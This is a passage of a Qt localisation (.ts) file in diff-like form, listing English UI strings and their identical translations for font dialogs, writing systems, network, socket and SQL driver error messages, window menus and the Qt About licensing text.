- <source>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</source>
- <translation>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</translation>
- </message>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Size</source>
- <translation>Size</translation>
- </message>
- <message>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation>Kind</translation>
- </message>
- <message>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation>Type</translation>
- </message>
- <message>
- <source>Date Modified</source>
- <translation>Date Modified</translation>
- </message>
- <message>
- <source>My Computer</source>
- <translation>My Computer</translation>
- </message>
- <message>
- <source>Computer</source>
- <translation>Computer</translation>
- </message>
- <message>
- <source>%1 byte(s)</source>
- <translation>%1 byte(s)</translation>
- </message>
- </context>
- <context>
- <name>QFontDatabase</name>
- <message>
- <source>Normal</source>
- <translation>Normal</translation>
- </message>
- <message>
- <source>Bold</source>
- <translation>Bold</translation>
- </message>
- <message>
- <source>Demi Bold</source>
- <translation>Demi Bold</translation>
- </message>
- <message>
- <source>Black</source>
- <translation>Black</translation>
- </message>
- <message>
- <source>Demi</source>
- <translation>Demi</translation>
- </message>
- <message>
- <source>Light</source>
- <translation>Light</translation>
- </message>
- <message>
- <source>Italic</source>
- <translation>Italic</translation>
- </message>
- <message>
- <source>Oblique</source>
- <translation>Oblique</translation>
- </message>
- <message>
- <source>Any</source>
- <translation>Any</translation>
- </message>
- <message>
- <source>Latin</source>
- <translation>Latin</translation>
- </message>
- <message>
- <source>Greek</source>
- <translation>Greek</translation>
- </message>
- <message>
- <source>Cyrillic</source>
- <translation>Cyrillic</translation>
- </message>
- <message>
- <source>Armenian</source>
- <translation>Armenian</translation>
- </message>
- <message>
- <source>Hebrew</source>
- <translation>Hebrew</translation>
- </message>
- <message>
- <source>Arabic</source>
- <translation>Arabic</translation>
- </message>
- <message>
- <source>Syriac</source>
- <translation>Syriac</translation>
- </message>
- <message>
- <source>Thaana</source>
- <translation>Thaana</translation>
- </message>
- <message>
- <source>Devanagari</source>
- <translation>Devanagari</translation>
- </message>
- <message>
- <source>Bengali</source>
- <translation>Bengali</translation>
- </message>
- <message>
- <source>Gurmukhi</source>
- <translation>Gurmukhi</translation>
- </message>
- <message>
- <source>Gujarati</source>
- <translation>Gujarati</translation>
- </message>
- <message>
- <source>Oriya</source>
- <translation>Oriya</translation>
- </message>
- <message>
- <source>Tamil</source>
- <translation>Tamil</translation>
- </message>
- <message>
- <source>Telugu</source>
- <translation>Telugu</translation>
- </message>
- <message>
- <source>Kannada</source>
- <translation>Kannada</translation>
- </message>
- <message>
- <source>Malayalam</source>
- <translation>Malayalam</translation>
- </message>
- <message>
- <source>Sinhala</source>
- <translation>Sinhala</translation>
- </message>
- <message>
- <source>Thai</source>
- <translation>Thai</translation>
- </message>
- <message>
- <source>Lao</source>
- <translation>Lao</translation>
- </message>
- <message>
- <source>Tibetan</source>
- <translation>Tibetan</translation>
- </message>
- <message>
- <source>Myanmar</source>
- <translation>Myanmar</translation>
- </message>
- <message>
- <source>Georgian</source>
- <translation>Georgian</translation>
- </message>
- <message>
- <source>Khmer</source>
- <translation>Khmer</translation>
- </message>
- <message>
- <source>Simplified Chinese</source>
- <translation>Simplified Chinese</translation>
- </message>
- <message>
- <source>Traditional Chinese</source>
- <translation>Traditional Chinese</translation>
- </message>
- <message>
- <source>Japanese</source>
- <translation>Japanese</translation>
- </message>
- <message>
- <source>Korean</source>
- <translation>Korean</translation>
- </message>
- <message>
- <source>Vietnamese</source>
- <translation>Vietnamese</translation>
- </message>
- <message>
- <source>Symbol</source>
- <translation>Symbol</translation>
- </message>
- <message>
- <source>Ogham</source>
- <translation>Ogham</translation>
- </message>
- <message>
- <source>Runic</source>
- <translation>Runic</translation>
- </message>
- <message>
- <source>N&apos;Ko</source>
- <translation>N&apos;Ko</translation>
- </message>
- </context>
- <context>
- <name>QFontDialog</name>
- <message>
- <source>&amp;Font</source>
- <translation>&amp;Font</translation>
- </message>
- <message>
- <source>Font st&amp;yle</source>
- <translation>Font st&amp;yle</translation>
- </message>
- <message>
- <source>&amp;Size</source>
- <translation>&amp;Size</translation>
- </message>
- <message>
- <source>Effects</source>
- <translation>Effects</translation>
- </message>
- <message>
- <source>Stri&amp;keout</source>
- <translation>Stri&amp;keout</translation>
- </message>
- <message>
- <source>&amp;Underline</source>
- <translation>&amp;Underline</translation>
- </message>
- <message>
- <source>Sample</source>
- <translation>Sample</translation>
- </message>
- <message>
- <source>Select Font</source>
- <translation>Select Font</translation>
- </message>
- <message>
- <source>Wr&amp;iting System</source>
- <translation>Wr&amp;iting System</translation>
- </message>
- </context>
- <context>
- <name>QFtp</name>
- <message>
- <source>Host %1 found</source>
- <translation>Host %1 found</translation>
- </message>
- <message>
- <source>Host found</source>
- <translation>Host found</translation>
- </message>
- <message>
- <source>Connected to host %1</source>
- <translation>Connected to host %1</translation>
- </message>
- <message>
- <source>Connected to host</source>
- <translation>Connected to host</translation>
- </message>
- <message>
- <source>Connection to %1 closed</source>
- <translation>Connection to %1 closed</translation>
- </message>
- <message>
- <source>Connection closed</source>
- <translation>Connection closed</translation>
- </message>
- <message>
- <source>Host %1 not found</source>
- <translation>Host %1 not found</translation>
- </message>
- <message>
- <source>Connection refused to host %1</source>
- <translation>Connection refused to host %1</translation>
- </message>
- <message>
- <source>Connection timed out to host %1</source>
- <translation>Connection timed out to host %1</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>Connecting to host failed:
-%1</source>
- <translation>Connecting to host failed:
-%1</translation>
- </message>
- <message>
- <source>Login failed:
-%1</source>
- <translation>Login failed:
-%1</translation>
- </message>
- <message>
- <source>Listing directory failed:
-%1</source>
- <translation>Listing directory failed:
-%1</translation>
- </message>
- <message>
- <source>Changing directory failed:
-%1</source>
- <translation>Changing directory failed:
-%1</translation>
- </message>
- <message>
- <source>Downloading file failed:
-%1</source>
- <translation>Downloading file failed:
-%1</translation>
- </message>
- <message>
- <source>Uploading file failed:
-%1</source>
- <translation>Uploading file failed:
-%1</translation>
- </message>
- <message>
- <source>Removing file failed:
-%1</source>
- <translation>Removing file failed:
-%1</translation>
- </message>
- <message>
- <source>Creating directory failed:
-%1</source>
- <translation>Creating directory failed:
-%1</translation>
- </message>
- <message>
- <source>Removing directory failed:
-%1</source>
- <translation>Removing directory failed:
-%1</translation>
- </message>
- <message>
- <source>Not connected</source>
- <translation>Not connected</translation>
- </message>
- <message>
- <source>Connection refused for data connection</source>
- <translation>Connection refused for data connection</translation>
- </message>
- </context>
- <context>
- <name>QHostInfo</name>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QHostInfoAgent</name>
- <message>
- <source>Host not found</source>
- <translation>Host not found</translation>
- </message>
- <message>
- <source>Unknown address type</source>
- <translation>Unknown address type</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>No host name given</source>
- <translation>No host name given</translation>
- </message>
- <message>
- <source>Invalid hostname</source>
- <translation>Invalid hostname</translation>
- </message>
- </context>
- <context>
- <name>QHttp</name>
- <message>
- <source>Connection refused</source>
- <translation>Connection refused</translation>
- </message>
- <message>
- <source>Host %1 not found</source>
- <translation>Host %1 not found</translation>
- </message>
- <message>
- <source>Wrong content length</source>
- <translation>Wrong content length</translation>
- </message>
- <message>
- <source>HTTP request failed</source>
- <translation>HTTP request failed</translation>
- </message>
- <message>
- <source>Host %1 found</source>
- <translation>Host %1 found</translation>
- </message>
- <message>
- <source>Host found</source>
- <translation>Host found</translation>
- </message>
- <message>
- <source>Connected to host %1</source>
- <translation>Connected to host %1</translation>
- </message>
- <message>
- <source>Connected to host</source>
- <translation>Connected to host</translation>
- </message>
- <message>
- <source>Connection to %1 closed</source>
- <translation>Connection to %1 closed</translation>
- </message>
- <message>
- <source>Connection closed</source>
- <translation>Connection closed</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>Request aborted</source>
- <translation>Request aborted</translation>
- </message>
- <message>
- <source>No server set to connect to</source>
- <translation>No server set to connect to</translation>
- </message>
- <message>
- <source>Server closed connection unexpectedly</source>
- <translation>Server closed connection unexpectedly</translation>
- </message>
- <message>
- <source>Invalid HTTP response header</source>
- <translation>Invalid HTTP response header</translation>
- </message>
- <message>
- <source>Unknown authentication method</source>
- <translation>Unknown authentication method</translation>
- </message>
- <message>
- <source>Invalid HTTP chunked body</source>
- <translation>Invalid HTTP chunked body</translation>
- </message>
- <message>
- <source>Error writing response to device</source>
- <translation>Error writing response to device</translation>
- </message>
- <message>
- <source>Proxy authentication required</source>
- <translation>Proxy authentication required</translation>
- </message>
- <message>
- <source>Authentication required</source>
- <translation>Authentication required</translation>
- </message>
- <message>
- <source>Proxy requires authentication</source>
- <translation>Proxy requires authentication</translation>
- </message>
- <message>
- <source>Host requires authentication</source>
- <translation>Host requires authentication</translation>
- </message>
- <message>
- <source>Data corrupted</source>
- <translation>Data corrupted</translation>
- </message>
- <message>
- <source>SSL handshake failed</source>
- <translation>SSL handshake failed</translation>
- </message>
- <message>
- <source>Unknown protocol specified</source>
- <translation>Unknown protocol specified</translation>
- </message>
- <message>
- <source>Connection refused (or timed out)</source>
- <translation>Connection refused (or timed out)</translation>
- </message>
- <message>
- <source>HTTPS connection requested but SSL support not compiled in</source>
- <translation>HTTPS connection requested but SSL support not compiled in</translation>
- </message>
- </context>
- <context>
- <name>QHttpSocketEngine</name>
- <message>
- <source>Did not receive HTTP response from proxy</source>
- <translation>Did not receive HTTP response from proxy</translation>
- </message>
- <message>
- <source>Error parsing authentication request from proxy</source>
- <translation>Error parsing authentication request from proxy</translation>
- </message>
- <message>
- <source>Authentication required</source>
- <translation>Authentication required</translation>
- </message>
- <message>
- <source>Proxy denied connection</source>
- <translation>Proxy denied connection</translation>
- </message>
- <message>
- <source>Error communicating with HTTP proxy</source>
- <translation>Error communicating with HTTP proxy</translation>
- </message>
- <message>
- <source>Proxy server not found</source>
- <translation>Proxy server not found</translation>
- </message>
- <message>
- <source>Proxy connection refused</source>
- <translation>Proxy connection refused</translation>
- </message>
- <message>
- <source>Proxy server connection timed out</source>
- <translation>Proxy server connection timed out</translation>
- </message>
- <message>
- <source>Proxy connection closed prematurely</source>
- <translation>Proxy connection closed prematurely</translation>
- </message>
- </context>
- <context>
- <name>QIBaseDriver</name>
- <message>
- <source>Error opening database</source>
- <translation>Error opening database</translation>
- </message>
- <message>
- <source>Could not start transaction</source>
- <translation>Could not start transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QIBaseResult</name>
- <message>
- <source>Unable to create BLOB</source>
- <translation>Unable to create BLOB</translation>
- </message>
- <message>
- <source>Unable to write BLOB</source>
- <translation>Unable to write BLOB</translation>
- </message>
- <message>
- <source>Unable to open BLOB</source>
- <translation>Unable to open BLOB</translation>
- </message>
- <message>
- <source>Unable to read BLOB</source>
- <translation>Unable to read BLOB</translation>
- </message>
- <message>
- <source>Could not find array</source>
- <translation>Could not find array</translation>
- </message>
- <message>
- <source>Could not get array data</source>
- <translation>Could not get array data</translation>
- </message>
- <message>
- <source>Could not get query info</source>
- <translation>Could not get query info</translation>
- </message>
- <message>
- <source>Could not start transaction</source>
- <translation>Could not start transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Could not allocate statement</source>
- <translation>Could not allocate statement</translation>
- </message>
- <message>
- <source>Could not prepare statement</source>
- <translation>Could not prepare statement</translation>
- </message>
- <message>
- <source>Could not describe input statement</source>
- <translation>Could not describe input statement</translation>
- </message>
- <message>
- <source>Could not describe statement</source>
- <translation>Could not describe statement</translation>
- </message>
- <message>
- <source>Unable to close statement</source>
- <translation>Unable to close statement</translation>
- </message>
- <message>
- <source>Unable to execute query</source>
- <translation>Unable to execute query</translation>
- </message>
- <message>
- <source>Could not fetch next item</source>
- <translation>Could not fetch next item</translation>
- </message>
- <message>
- <source>Could not get statement info</source>
- <translation>Could not get statement info</translation>
- </message>
- </context>
- <context>
- <name>QIODevice</name>
- <message>
- <source>Permission denied</source>
- <translation>Permission denied</translation>
- </message>
- <message>
- <source>Too many open files</source>
- <translation>Too many open files</translation>
- </message>
- <message>
- <source>No such file or directory</source>
- <translation>No such file or directory</translation>
- </message>
- <message>
- <source>No space left on device</source>
- <translation>No space left on device</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QInputContext</name>
- <message>
- <source>XIM</source>
- <translation>XIM</translation>
- </message>
- <message>
- <source>FEP</source>
- <translation>FEP</translation>
- </message>
- <message>
- <source>XIM input method</source>
- <translation>XIM input method</translation>
- </message>
- <message>
- <source>Windows input method</source>
- <translation>Windows input method</translation>
- </message>
- <message>
- <source>Mac OS X input method</source>
- <translation>Mac OS X input method</translation>
- </message>
- <message>
- <source>S60 FEP input method</source>
- <translation>S60 FEP input method</translation>
- </message>
- </context>
- <context>
- <name>QInputDialog</name>
- <message>
- <source>Enter a value:</source>
- <translation>Enter a value:</translation>
- </message>
- </context>
- <context>
- <name>QLibrary</name>
- <message>
- <source>Could not mmap &apos;%1&apos;: %2</source>
- <translation>Could not mmap &apos;%1&apos;: %2</translation>
- </message>
- <message>
- <source>Plugin verification data mismatch in &apos;%1&apos;</source>
- <translation>Plugin verification data mismatch in &apos;%1&apos;</translation>
- </message>
- <message>
- <source>Could not unmap &apos;%1&apos;: %2</source>
- <translation>Could not unmap &apos;%1&apos;: %2</translation>
- </message>
- <message>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</source>
- <translation>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</translation>
- </message>
- <message>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</source>
- <translation>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>The shared library was not found.</source>
- <translation>The shared library was not found.</translation>
- </message>
- <message>
- <source>The file &apos;%1&apos; is not a valid Qt plugin.</source>
- <translation>The file &apos;%1&apos; is not a valid Qt plugin.</translation>
- </message>
- <message>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</source>
- <translation>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</translation>
- </message>
- <message>
- <source>Cannot load library %1: %2</source>
- <translation>Cannot load library %1: %2</translation>
- </message>
- <message>
- <source>Cannot unload library %1: %2</source>
- <translation>Cannot unload library %1: %2</translation>
- </message>
- <message>
- <source>Cannot resolve symbol &quot;%1&quot; in %2: %3</source>
- <translation>Cannot resolve symbol &quot;%1&quot; in %2: %3</translation>
- </message>
- </context>
- <context>
- <name>QLineEdit</name>
- <message>
- <source>Select All</source>
- <translation>Select All</translation>
- </message>
- <message>
- <source>&amp;Undo</source>
- <translation>&amp;Undo</translation>
- </message>
- <message>
- <source>&amp;Redo</source>
- <translation>&amp;Redo</translation>
- </message>
- <message>
- <source>Cu&amp;t</source>
- <translation>Cu&amp;t</translation>
- </message>
- <message>
- <source>&amp;Copy</source>
- <translation>&amp;Copy</translation>
- </message>
- <message>
- <source>&amp;Paste</source>
- <translation>&amp;Paste</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- </context>
- <context>
- <name>QLocalServer</name>
- <message>
- <source>%1: Name error</source>
- <translation>%1: Name error</translation>
- </message>
- <message>
- <source>%1: Permission denied</source>
- <translation>%1: Permission denied</translation>
- </message>
- <message>
- <source>%1: Address in use</source>
- <translation>%1: Address in use</translation>
- </message>
- <message>
- <source>%1: Unknown error %2</source>
- <translation>%1: Unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QLocalSocket</name>
- <message>
- <source>%1: Connection refused</source>
- <translation>%1: Connection refused</translation>
- </message>
- <message>
- <source>%1: Remote closed</source>
- <translation>%1: Remote closed</translation>
- </message>
- <message>
- <source>%1: Invalid name</source>
- <translation>%1: Invalid name</translation>
- </message>
- <message>
- <source>%1: Socket access error</source>
- <translation>%1: Socket access error</translation>
- </message>
- <message>
- <source>%1: Socket resource error</source>
- <translation>%1: Socket resource error</translation>
- </message>
- <message>
- <source>%1: Socket operation timed out</source>
- <translation>%1: Socket operation timed out</translation>
- </message>
- <message>
- <source>%1: Datagram too large</source>
- <translation>%1: Datagram too large</translation>
- </message>
- <message>
- <source>%1: Connection error</source>
- <translation>%1: Connection error</translation>
- </message>
- <message>
- <source>%1: The socket operation is not supported</source>
- <translation>%1: The socket operation is not supported</translation>
- </message>
- <message>
- <source>%1: Unknown error</source>
- <translation>%1: Unknown error</translation>
- </message>
- <message>
- <source>%1: Unknown error %2</source>
- <translation>%1: Unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QMYSQLDriver</name>
- <message>
- <source>Unable to open database &apos;</source>
- <translation>Unable to open database &apos;</translation>
- </message>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QMYSQLResult</name>
- <message>
- <source>Unable to fetch data</source>
- <translation>Unable to fetch data</translation>
- </message>
- <message>
- <source>Unable to execute query</source>
- <translation>Unable to execute query</translation>
- </message>
- <message>
- <source>Unable to store result</source>
- <translation>Unable to store result</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to reset statement</source>
- <translation>Unable to reset statement</translation>
- </message>
- <message>
- <source>Unable to bind value</source>
- <translation>Unable to bind value</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to bind outvalues</source>
- <translation>Unable to bind outvalues</translation>
- </message>
- <message>
- <source>Unable to store statement results</source>
- <translation>Unable to store statement results</translation>
- </message>
- <message>
- <source>Unable to execute next query</source>
- <translation>Unable to execute next query</translation>
- </message>
- <message>
- <source>Unable to store next result</source>
- <translation>Unable to store next result</translation>
- </message>
- </context>
- <context>
- <name>QMdiArea</name>
- <message>
- <source>(Untitled)</source>
- <translation>(Untitled)</translation>
- </message>
- </context>
- <context>
- <name>QMdiSubWindow</name>
- <message>
- <source>%1 - [%2]</source>
- <translation>%1 - [%2]</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Minimize</source>
- <translation>Minimize</translation>
- </message>
- <message>
- <source>Restore Down</source>
- <translation>Restore Down</translation>
- </message>
- <message>
- <source>&amp;Restore</source>
- <translation>&amp;Restore</translation>
- </message>
- <message>
- <source>&amp;Move</source>
- <translation>&amp;Move</translation>
- </message>
- <message>
- <source>&amp;Size</source>
- <translation>&amp;Size</translation>
- </message>
- <message>
- <source>Mi&amp;nimize</source>
- <translation>Mi&amp;nimize</translation>
- </message>
- <message>
- <source>Ma&amp;ximize</source>
- <translation>Ma&amp;ximize</translation>
- </message>
- <message>
- <source>Stay on &amp;Top</source>
- <translation>Stay on &amp;Top</translation>
- </message>
- <message>
- <source>&amp;Close</source>
- <translation>&amp;Close</translation>
- </message>
- <message>
- <source>Maximize</source>
- <translation>Maximize</translation>
- </message>
- <message>
- <source>Unshade</source>
- <translation>Unshade</translation>
- </message>
- <message>
- <source>Shade</source>
- <translation>Shade</translation>
- </message>
- <message>
- <source>Restore</source>
- <translation>Restore</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Menu</source>
- <translation>Menu</translation>
- </message>
- <message>
- <source>- [%1]</source>
- <translation>- [%1]</translation>
- </message>
- </context>
- <context>
- <name>QMenu</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>Execute</source>
- <translation>Execute</translation>
- </message>
- </context>
- <context>
- <name>QMenuBar</name>
- <message>
- <source>Actions</source>
- <translation>Actions</translation>
- </message>
- </context>
- <context>
- <name>QMessageBox</name>
- <message>
- <source>OK</source>
- <translation>OK</translation>
- </message>
- <message>
- <source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</source>
- <translation>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</translation>
- </message>
- <message>
- <source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
- <translation>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</translation>
- </message>
- <message>
- <source>About Qt</source>
- <translation>About Qt</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Show Details...</source>
- <translation>Show Details...</translation>
- </message>
- <message>
- <source>Hide Details...</source>
- <translation>Hide Details...</translation>
- </message>
- </context>
- <context>
- <name>QMultiInputContext</name>
- <message>
- <source>Select IM</source>
- <translation>Select IM</translation>
- </message>
- </context>
- <context>
- <name>QMultiInputContextPlugin</name>
- <message>
- <source>Multiple input method switcher</source>
- <translation>Multiple input method switcher</translation>
- </message>
- <message>
- <source>Multiple input method switcher that uses the context menu of the text widgets</source>
- <translation>Multiple input method switcher that uses the context menu of the text widgets</translation>
- </message>
- </context>
- <context>
- <name>QNativeSocketEngine</name>
- <message>
- <source>The remote host closed the connection</source>
- <translation>The remote host closed the connection</translation>
- </message>
- <message>
- <source>Network operation timed out</source>
- <translation>Network operation timed out</translation>
- </message>
- <message>
- <source>Out of resources</source>
- <translation>Out of resources</translation>
- </message>
- <message>
- <source>Unsupported socket operation</source>
- <translation>Unsupported socket operation</translation>
- </message>
- <message>
- <source>Protocol type not supported</source>
- <translation>Protocol type not supported</translation>
- </message>
- <message>
- <source>Invalid socket descriptor</source>
- <translation>Invalid socket descriptor</translation>
- </message>
- <message>
- <source>Network unreachable</source>
- <translation>Network unreachable</translation>
- </message>
- <message>
- <source>Permission denied</source>
- <translation>Permission denied</translation>
- </message>
- <message>
- <source>Connection timed out</source>
- <translation>Connection timed out</translation>
- </message>
- <message>
- <source>Connection refused</source>
- <translation>Connection refused</translation>
- </message>
- <message>
- <source>The bound address is already in use</source>
- <translation>The bound address is already in use</translation>
- </message>
- <message>
- <source>The address is not available</source>
- <translation>The address is not available</translation>
- </message>
- <message>
- <source>The address is protected</source>
- <translation>The address is protected</translation>
- </message>
- <message>
- <source>Unable to send a message</source>
- <translation>Unable to send a message</translation>
- </message>
- <message>
- <source>Unable to receive a message</source>
- <translation>Unable to receive a message</translation>
- </message>
- <message>
- <source>Unable to write</source>
- <translation>Unable to write</translation>
- </message>
- <message>
- <source>Network error</source>
- <translation>Network error</translation>
- </message>
- <message>
- <source>Another socket is already listening on the same port</source>
- <translation>Another socket is already listening on the same port</translation>
- </message>
- <message>
- <source>Unable to initialize non-blocking socket</source>
- <translation>Unable to initialize non-blocking socket</translation>
- </message>
- <message>
- <source>Unable to initialize broadcast socket</source>
- <translation>Unable to initialize broadcast socket</translation>
- </message>
- <message>
- <source>Attempt to use IPv6 socket on a platform with no IPv6 support</source>
- <translation>Attempt to use IPv6 socket on a platform with no IPv6 support</translation>
- </message>
- <message>
- <source>Host unreachable</source>
- <translation>Host unreachable</translation>
- </message>
- <message>
- <source>Datagram was too large to send</source>
- <translation>Datagram was too large to send</translation>
- </message>
- <message>
- <source>Operation on non-socket</source>
- <translation>Operation on non-socket</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>The proxy type is invalid for this operation</source>
- <translation>The proxy type is invalid for this operation</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessCacheBackend</name>
- <message>
- <source>Error opening %1</source>
- <translation>Error opening %1</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessDebugPipeBackend</name>
- <message>
- <source>Write error writing to %1: %2</source>
- <translation>Write error writing to %1: %2</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessFileBackend</name>
- <message>
- <source>Request for opening non-local file %1</source>
- <translation>Request for opening non-local file %1</translation>
- </message>
- <message>
- <source>Error opening %1: %2</source>
- <translation>Error opening %1: %2</translation>
- </message>
- <message>
- <source>Write error writing to %1: %2</source>
- <translation>Write error writing to %1: %2</translation>
- </message>
- <message>
- <source>Cannot open %1: Path is a directory</source>
- <translation>Cannot open %1: Path is a directory</translation>
- </message>
- <message>
- <source>Read error reading from %1: %2</source>
- <translation>Read error reading from %1: %2</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessFtpBackend</name>
- <message>
- <source>No suitable proxy found</source>
- <translation>No suitable proxy found</translation>
- </message>
- <message>
- <source>Cannot open %1: is a directory</source>
- <translation>Cannot open %1: is a directory</translation>
- </message>
- <message>
- <source>Logging in to %1 failed: authentication required</source>
- <translation>Logging in to %1 failed: authentication required</translation>
- </message>
- <message>
- <source>Error while downloading %1: %2</source>
- <translation>Error while downloading %1: %2</translation>
- </message>
- <message>
- <source>Error while uploading %1: %2</source>
- <translation>Error while uploading %1: %2</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessHttpBackend</name>
- <message>
- <source>No suitable proxy found</source>
- <translation>No suitable proxy found</translation>
- </message>
- </context>
- <context>
- <name>QNetworkReply</name>
- <message>
- <source>Error downloading %1 - server replied: %2</source>
- <translation>Error downloading %1 - server replied: %2</translation>
- </message>
- <message>
- <source>Protocol &quot;%1&quot; is unknown</source>
- <translation>Protocol &quot;%1&quot; is unknown</translation>
- </message>
- </context>
- <context>
- <name>QNetworkReplyImpl</name>
- <message>
- <source>Operation canceled</source>
- <translation>Operation canceled</translation>
- </message>
- </context>
- <context>
- <name>QOCIDriver</name>
- <message>
- <source>Unable to logon</source>
- <translation>Unable to logon</translation>
- </message>
- <message>
- <source>Unable to initialize</source>
- <comment>QOCIDriver</comment>
- <translation>Unable to initialize</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
